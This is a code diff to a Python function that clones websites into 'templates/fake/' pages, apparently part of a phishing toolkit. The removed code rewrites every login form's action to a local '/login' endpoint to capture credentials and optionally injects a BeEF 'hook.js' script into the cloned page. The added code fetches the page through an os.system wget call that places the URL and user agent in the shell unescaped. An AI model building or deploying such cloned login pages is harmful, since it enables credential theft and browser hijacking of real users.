33import os
44
55# CLONING FUNCTIONS --------------------------------------------------------------------------------------------
6- def clone (url , user_agent , beef ):
6+ def clone (url , user_agent ):
77 try :
88 u = url .replace ('://' , '-' )
9- q = 'templates/fake/{}/{} ' .format (user_agent , u )
9+ q = 'templates/fake/{}' .format (u )
1010 os .makedirs (q , exist_ok = True )
11- temp_ind_path = 'templates/fake/{}/{}/index.html' .format (user_agent , u )
12- headers = {'User-Agent' : user_agent }
13- r = requests .get (url , headers = headers )
14- html = r .text
15- old_regular = re .findall (r'action="([^ >"]*)"' ,html )
16- new_regular = '/login'
17- for r in old_regular :
18- print (r )
19- html = html .replace (r , new_regular )
20- if beef == 'yes' :
21- inject = '<script src=":3000/hook.js" type="text/javascript"></script></body>'
22- html = html .replace ("</body>" , inject )
23- new_html = open (temp_ind_path , 'w' )
24- new_html .write (html .encode ('ascii' , 'ignore' ).decode ('ascii' ))
25- new_html .close ()
11+ #os.system('wget -H -N -k -p -l 2 -nd -P {} --no-check-certificate -U "{}" {}'.format(q, user_agent, url))
12+ os .system ('wget --no-check-certificate -O {}/index.html -c -k -U "{}" {}' .format (q , user_agent , url ))
2613 except :
2714 pass
2815#--------------------------------------------------------------------------------------------------------------------
0 commit comments